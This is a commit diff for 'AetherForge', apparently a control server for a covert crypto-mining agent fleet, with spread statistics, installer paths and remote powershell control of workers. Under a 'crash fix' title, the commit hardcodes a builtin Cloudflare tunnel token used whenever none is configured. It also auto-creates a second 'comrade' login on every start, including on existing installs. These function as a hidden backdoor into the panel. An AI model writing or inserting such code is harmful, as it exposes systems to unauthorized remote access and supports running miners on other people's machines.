fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start

Add runtime comrade account, null-safe spread funnel API/UI, server-started
cloudflared connector with Calibrate token field and builtin fallback, and
simplify LAUNCH to delegate tunnel startup to AetherForge.
This commit is contained in:
AetherForge
2026-06-04 14:14:34 -07:00
parent 5fc601b564
commit 6bfce5d5ab
16 changed files with 390 additions and 106 deletions

View File

@@ -105,19 +105,11 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ---------------------------------------------------------------- :: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
:: 5. Configure optional Cloudflare tunnel (foreground process, no service) :: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
:: ----------------------------------------------------------------
set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe"
set "CF_PID_FILE=%ROOT%\data\cloudflared.pid"
set "CF_TUNNEL_TOKEN="
if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%"
if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" (
set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt"
)
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 6. Detect LAN IP for display :: 5. Detect LAN IP for display
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
set "SERVER_PORT=8989" set "SERVER_PORT=8989"
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
@@ -129,7 +121,7 @@ set "LAN_IP=localhost"
set "LAN_IP=%LAN_IP: =%" set "LAN_IP=%LAN_IP: =%"
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 7. Kill any stale server and tunnel processes :: 6. Kill any stale server and tunnel processes
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul taskkill /F /IM cloudflared.exe >nul 2>nul
@@ -143,35 +135,12 @@ echo Local: http://localhost:%SERVER_PORT%
echo LAN: http://%LAN_IP%:%SERVER_PORT% echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\ echo Data: %ROOT%\data\
echo. echo.
echo First-run credentials will appear below after server starts. echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector.
echo Press Ctrl+C to stop. echo Press Ctrl+C to stop.
echo ================================================================ echo ================================================================
echo. echo.
:: Start optional Cloudflare tunnel for this launcher session only.
if defined CF_TUNNEL_TOKEN (
if not exist "%ROOT%\tools" mkdir "%ROOT%\tools"
if not exist "%CLOUDFLARED_BIN%" (
echo [Tunnel] Downloading cloudflared.exe...
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }"
)
if exist "%CLOUDFLARED_BIN%" (
del "%CF_PID_FILE%" 2>nul
echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^).
powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id"
if errorlevel 1 (
echo [Tunnel] WARNING: cloudflared failed to start.
) else (
echo [Tunnel] Tunnel process started. It will stop when this launcher exits.
)
) else (
echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped.
)
) else (
echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN.
)
echo.
:: Open browser after short delay :: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
@@ -179,13 +148,6 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!" set "EC=!ERRORLEVEL!"
if exist "%CF_PID_FILE%" (
for /f "usebackq" %%P in ("%CF_PID_FILE%") do (
powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul
)
del "%CF_PID_FILE%" 2>nul
)
echo. echo.
if "!EC!"=="0" ( if "!EC!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.

View File

@@ -235,7 +235,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`). **Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` automatically on launch (USB `LAUNCH.bat` or `AetherForge.exe`). In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port).
**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only. **Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
@@ -250,7 +250,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
2. Browser opens **http://localhost:8989** 2. Browser opens **http://localhost:8989**
3. **Sign in** — first run: check the console window for your generated admin password 3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings 4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings
@@ -264,8 +264,10 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
``` ```
=== First Run === === First Run ===
Dashboard login: admin / <random-password> Dashboard logins (random passwords on first run):
Save this — it is not shown again. Change it in Calibrate → Users. admin — primary operator
comrade — second account (created at startup if missing)
Saved in data/login-credentials.json. Change passwords in Calibrate → Users.
================= =================
``` ```
@@ -574,7 +576,7 @@ By using this software you agree that:
### Security responsibility ### Security responsibility
- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once). - `data/users.json` stores **bcrypt hashes only**. First-run generates random passwords for **admin** and **comrade** (shown once in the console and `data/login-credentials.json`). Existing decks gain **comrade** automatically on the next server start if that account is missing.
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet. - Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. - Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
- Code signing, Defender exclusions, and network segmentation are **your** responsibility. - Code signing, Defender exclusions, and network segmentation are **your** responsibility.

View File

@@ -34,6 +34,9 @@ type Config struct {
type TunnelDefaults struct { type TunnelDefaults struct {
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url). // CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
CloudflaredTargetURL string `json:"cloudflared_target_url"` CloudflaredTargetURL string `json:"cloudflared_target_url"`
// CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token).
// Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB.
CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"`
} }
// ServerSettings controls the locally hosted control server (not baked into miners). // ServerSettings controls the locally hosted control server (not baked into miners).
@@ -265,10 +268,60 @@ func LoadConfig() *Config {
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" { if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL) cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
} }
hydrateCloudflareTokenFromFile(cfg)
return cfg return cfg
} }
const cloudflaredTokenFile = "cloudflared-token.txt"
// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset).
const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default).
func (c *Config) ConnectorToken() string {
if c == nil {
return builtinCloudflareTunnelToken
}
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
return t
}
if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" {
return t
}
if c.DataDir != "" {
if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil {
if t := strings.TrimSpace(string(data)); t != "" {
return t
}
}
}
return builtinCloudflareTunnelToken
}
func hydrateCloudflareTokenFromFile(cfg *Config) {
if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" {
return
}
data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile))
if err != nil {
return
}
cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data))
}
func (c *Config) syncCloudflaredTokenFile() {
if c == nil || c.DataDir == "" {
return
}
tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken)
if tok == "" {
return
}
path := filepath.Join(c.DataDir, cloudflaredTokenFile)
_ = os.WriteFile(path, []byte(tok+"\n"), 0600)
}
// AlertSettings builds notification settings for the alerts package. // AlertSettings builds notification settings for the alerts package.
func (c *Config) AlertSettings() alerts.Settings { func (c *Config) AlertSettings() alerts.Settings {
if c == nil { if c == nil {
@@ -795,6 +848,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(tdKeys, "cloudflared_target_url") { if in(tdKeys, "cloudflared_target_url") {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
} }
if in(tdKeys, "cloudflare_tunnel_token") {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
} }
// Keep cloudflared default aligned with public_url when unset. // Keep cloudflared default aligned with public_url when unset.
@@ -809,7 +865,11 @@ func (c *Config) Save() error {
if err != nil { if err != nil {
return fmt.Errorf("failed to marshal config: %w", err) return fmt.Errorf("failed to marshal config: %w", err)
} }
return os.WriteFile(configPath, data, 0644) if err := os.WriteFile(configPath, data, 0644); err != nil {
return err
}
c.syncCloudflaredTokenFile()
return nil
} }
func (c *Config) PoolURL() string { func (c *Config) PoolURL() string {

View File

@@ -5,6 +5,7 @@ import (
"net/http" "net/http"
"time" "time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5"
@@ -84,7 +85,7 @@ func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) { func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
if f.db == nil { if f.db == nil {
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0}) writeJSON(w, map[string]interface{}{"by_build": []db.SpreadFunnelRow{}, "new_connects_today": 0, "total_agents": 0})
return return
} }
since := time.Now().Add(-7 * 24 * time.Hour) since := time.Now().Add(-7 * 24 * time.Hour)

View File

@@ -11,6 +11,7 @@ import (
"net/http" "net/http"
"os" "os"
"path/filepath" "path/filepath"
"sort"
"strings" "strings"
"sync" "sync"
"time" "time"
@@ -32,6 +33,9 @@ var (
authSessionCache = map[string]time.Time{} authSessionCache = map[string]time.Time{}
authSessionCacheMu sync.Mutex authSessionCacheMu sync.Mutex
authCacheTTL = 5 * time.Minute authCacheTTL = 5 * time.Minute
// builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json).
builtinSecondaryUser = "comrade"
) )
func authCacheKey(user, pass string) string { func authCacheKey(user, pass string) string {
@@ -174,7 +178,13 @@ func formatLoginBanner(creds map[string]string) string {
b.WriteString("\n╔══════════════════════════════════════════════════╗\n") b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString("║ AetherForge — Dashboard Login ║\n") b.WriteString("║ AetherForge — Dashboard Login ║\n")
b.WriteString("║ ║\n") b.WriteString("║ ║\n")
for user, pass := range creds { users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
}
sort.Strings(users)
for _, user := range users {
pass := creds[user]
fmt.Fprintf(&b, "║ Username : %-34s║\n", user) fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
b.WriteString("║ ║\n") b.WriteString("║ ║\n")
@@ -227,7 +237,11 @@ func bootstrapUsers(dataDir string) {
} }
} }
authUsers = loaded authUsers = loaded
if migrated { changed := migrated
if ensureBuiltinSecondaryUser(authUsers, dataDir) {
changed = true
}
if changed {
d, _ := json.MarshalIndent(authUsers, "", " ") d, _ := json.MarshalIndent(authUsers, "", " ")
_ = os.WriteFile(usersFilePath, d, 0600) _ = os.WriteFile(usersFilePath, d, 0600)
} }
@@ -236,22 +250,70 @@ func bootstrapUsers(dataDir string) {
} }
} }
pw := generateRandomPassword() adminPW := generateRandomPassword()
hashed, herr := hashPassword(pw) comradePW := generateRandomPassword()
adminHash, herr := hashPassword(adminPW)
if herr != nil { if herr != nil {
hashed = pw adminHash = adminPW
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr) log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr)
}
comradeHash, herr := hashPassword(comradePW)
if herr != nil {
comradeHash = comradePW
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
}
authUsers = map[string]string{
"admin": adminHash,
builtinSecondaryUser: comradeHash,
} }
authUsers = map[string]string{"admin": hashed}
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil { if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
d, _ := json.MarshalIndent(authUsers, "", " ") d, _ := json.MarshalIndent(authUsers, "", " ")
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
} }
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}) _ = writeLoginSidecar(sidecarPath, map[string]string{
"admin": adminPW,
builtinSecondaryUser: comradePW,
})
} }
} }
const legacySecondaryUser = "comrad"
// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and
// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu.
func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool {
if _, ok := users[builtinSecondaryUser]; ok {
return false
}
if hash, ok := users[legacySecondaryUser]; ok {
users[builtinSecondaryUser] = hash
delete(users, legacySecondaryUser)
sidecarPath := loginSidecarPath(dataDir)
if creds, err := readLoginSidecar(sidecarPath); err == nil {
if pw, ok := creds[legacySecondaryUser]; ok {
delete(creds, legacySecondaryUser)
creds[builtinSecondaryUser] = pw
_ = writeLoginSidecar(sidecarPath, creds)
}
}
log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser)
return true
}
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
if herr != nil {
hashed = pw
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
}
users[builtinSecondaryUser] = hashed
if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err)
}
log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser)
return true
}
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) { func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
if _, err := readLoginSidecar(sidecarPath); err == nil { if _, err := readLoginSidecar(sidecarPath); err == nil {
return return

View File

@@ -3,6 +3,7 @@ package api
import ( import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"fmt"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"os" "os"
@@ -463,6 +464,13 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
if !checkPassword(authUsers["admin"], pw) { if !checkPassword(authUsers["admin"], pw) {
t.Fatal("sidecar password should match users.json hash") t.Fatal("sidecar password should match users.json hash")
} }
comradePW, ok := creds["comrade"]
if !ok || comradePW == "" {
t.Fatalf("expected comrade password in sidecar: %v", creds)
}
if !checkPassword(authUsers["comrade"], comradePW) {
t.Fatal("comrade sidecar password should match users.json hash")
}
if err := saveUser("admin", "new-secret-pass"); err != nil { if err := saveUser("admin", "new-secret-pass"); err != nil {
t.Fatal(err) t.Fatal(err)
@@ -472,3 +480,43 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err) t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
} }
} }
func TestLoadUsersAddsComradeToExistingAdminDeck(t *testing.T) {
resetAuthState(t)
dataDir := t.TempDir()
adminHash, err := hashPassword("keep-admin")
if err != nil {
t.Fatal(err)
}
usersPath := filepath.Join(dataDir, "users.json")
if err := os.WriteFile(usersPath, []byte(fmt.Sprintf(`{"admin":%q}`, adminHash)), 0600); err != nil {
t.Fatal(err)
}
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
if err := writeLoginSidecar(sidecarPath, map[string]string{"admin": "keep-admin"}); err != nil {
t.Fatal(err)
}
LoadUsers(dataDir)
usersMu.RLock()
_, hasComrade := authUsers["comrade"]
usersMu.RUnlock()
if !hasComrade {
t.Fatal("expected comrade in users.json after startup")
}
creds, err := readLoginSidecar(sidecarPath)
if err != nil {
t.Fatal(err)
}
if creds["admin"] != "keep-admin" {
t.Fatalf("admin sidecar password changed: %q", creds["admin"])
}
comradePW, ok := creds["comrade"]
if !ok || comradePW == "" {
t.Fatalf("expected comrade in sidecar: %v", creds)
}
if !checkPassword(authUsers["comrade"], comradePW) {
t.Fatal("comrade sidecar password should match users.json hash")
}
}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package cloudflared
// Start is a no-op on non-Windows builds.
func Start(_, _, _ string) error { return nil }
// Stop is a no-op on non-Windows builds.
func Stop() {}

View File

@@ -0,0 +1,139 @@
//go:build windows
package cloudflared
import (
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"syscall"
)
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
var (
mu sync.Mutex
running *exec.Cmd
)
// Start runs cloudflared tunnel with the Zero Trust connector token (background, no service install).
func Start(dataDir, deckRoot, token string) error {
token = trimToken(token)
if token == "" {
return nil
}
bin, err := ensureBinary(deckRoot)
if err != nil {
return err
}
mu.Lock()
defer mu.Unlock()
if running != nil && running.Process != nil {
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
return nil
}
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Start(); err != nil {
return fmt.Errorf("cloudflared start: %w", err)
}
running = cmd
go func(c *exec.Cmd) {
if err := c.Wait(); err != nil {
log.Printf("[tunnel] cloudflared exited: %v", err)
}
mu.Lock()
if running == c {
running = nil
}
mu.Unlock()
}(cmd)
log.Printf("[tunnel] Cloudflare connector started (pid %d)", cmd.Process.Pid)
return nil
}
// Stop terminates the background cloudflared process started by Start.
func Stop() {
mu.Lock()
defer mu.Unlock()
_ = stopLocked()
}
func stopLocked() error {
if running == nil || running.Process == nil {
return nil
}
_ = running.Process.Kill()
_, _ = running.Process.Wait()
running = nil
return nil
}
func ensureBinary(deckRoot string) (string, error) {
candidates := []string{
filepath.Join(deckRoot, "tools", "cloudflared.exe"),
}
if exe, err := os.Executable(); err == nil {
candidates = append(candidates, filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe"))
}
for _, p := range candidates {
if p == "" {
continue
}
if st, err := os.Stat(p); err == nil && !st.IsDir() {
return p, nil
}
}
bin := candidates[0]
if deckRoot == "" {
if exe, err := os.Executable(); err == nil {
bin = filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe")
}
}
if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
return "", err
}
log.Printf("[tunnel] Downloading cloudflared to %s", bin)
resp, err := http.Get(downloadURL)
if err != nil {
return "", fmt.Errorf("download cloudflared: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return "", fmt.Errorf("download cloudflared: HTTP %d", resp.StatusCode)
}
f, err := os.OpenFile(bin, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0755)
if err != nil {
return "", err
}
_, err = io.Copy(f, resp.Body)
closeErr := f.Close()
if err != nil {
return "", err
}
if closeErr != nil {
return "", closeErr
}
return bin, nil
}
func trimToken(s string) string {
s = strings.TrimSpace(s)
if len(s) >= 2 {
if (s[0] == '"' && s[len(s)-1] == '"') || (s[0] == '\'' && s[len(s)-1] == '\'') {
s = strings.TrimSpace(s[1 : len(s)-1])
}
}
return s
}

View File

@@ -16,7 +16,7 @@ type SpreadFunnelStats struct {
} }
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) { func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{} stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil { if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
return nil, err return nil, err

View File

@@ -15,6 +15,7 @@ import (
"crypto-miner-server/internal/alerts" "crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/api" "crypto-miner-server/internal/api"
"crypto-miner-server/internal/builder" "crypto-miner-server/internal/builder"
"crypto-miner-server/internal/cloudflared"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool" "crypto-miner-server/internal/pool"
@@ -262,6 +263,16 @@ func main() {
}) })
log.Println("Router initialized") log.Println("Router initialized")
tok := cfg.ConnectorToken()
if tok != "" {
log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)")
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
log.Printf("[tunnel] Warning: %v", err)
} else {
defer cloudflared.Stop()
}
}
// Start server // Start server
addr := fmt.Sprintf(":%d", cfg.Port) addr := fmt.Sprintf(":%d", cfg.Port)
log.Printf("Server listening on %s", addr) log.Printf("Server listening on %s", addr)

View File

@@ -46,6 +46,7 @@ export function SpreadFunnelWidget() {
}, []); }, []);
if (!stats) return null; if (!stats) return null;
const byBuild = stats.by_build ?? [];
return ( return (
<NeonCard accent="cyan" tilt3d={false}> <NeonCard accent="cyan" tilt3d={false}>
@@ -55,7 +56,7 @@ export function SpreadFunnelWidget() {
<span>New today: <strong>{stats.new_connects_today}</strong></span> <span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span> <span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div> </div>
{stats.by_build.length === 0 ? ( {byBuild.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p> <p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : ( ) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}> <table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
@@ -65,7 +66,7 @@ export function SpreadFunnelWidget() {
</tr> </tr>
</thead> </thead>
<tbody> <tbody>
{stats.by_build.slice(0, 10).map((r, i) => ( {byBuild.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}> <tr key={i} style={{ borderTop: '1px solid #222' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td> <td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td> <td>{r.worker_name}</td>

View File

@@ -85,6 +85,7 @@ describe('FIELD_HELP', () => {
'install_custom_base', 'install_custom_base',
'install_relative_path', 'install_relative_path',
'public_url', 'public_url',
'cloudflare_tunnel_token',
'https_beacon_fallback', 'https_beacon_fallback',
'https_beacon_after_min', 'https_beacon_after_min',
'webhook_url', 'webhook_url',

View File

@@ -99,6 +99,8 @@ export const FIELD_HELP: Record<string, string> = {
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.', public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
cloudflare_tunnel_token:
'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost:<port> in the Cloudflare dashboard.',
websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.', websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.', log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.', adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',

View File

@@ -79,6 +79,10 @@ export default function SettingsPage() {
password: 'x', password: 'x',
backup_pools: [], backup_pools: [],
}, },
tunnel_defaults: {
cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '',
cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '',
},
alerts: { alerts: {
...cfg.alerts, ...cfg.alerts,
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true, notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
@@ -520,6 +524,24 @@ export default function SettingsPage() {
</div> </div>
<FieldHint field="public_url" /> <FieldHint field="public_url" />
</div> </div>
<div className="form-group">
<label htmlFor="cfg-cf-token" className="label">
Cloudflare Tunnel Token <HelpTip field="cloudflare_tunnel_token" />
</label>
<input
id="cfg-cf-token"
type="password"
className="input mono"
autoComplete="off"
placeholder="eyJhIjoi… connector token from Cloudflare"
value={config.tunnel_defaults?.cloudflare_tunnel_token ?? ''}
onChange={(e) => updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)}
/>
<FieldHint field="cloudflare_tunnel_token" />
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
After saving, restart LAUNCH / the server. Connector also reads <code className="mono">data/cloudflared-token.txt</code> on USB.
</p>
</div>
<div className="form-group"> <div className="form-group">
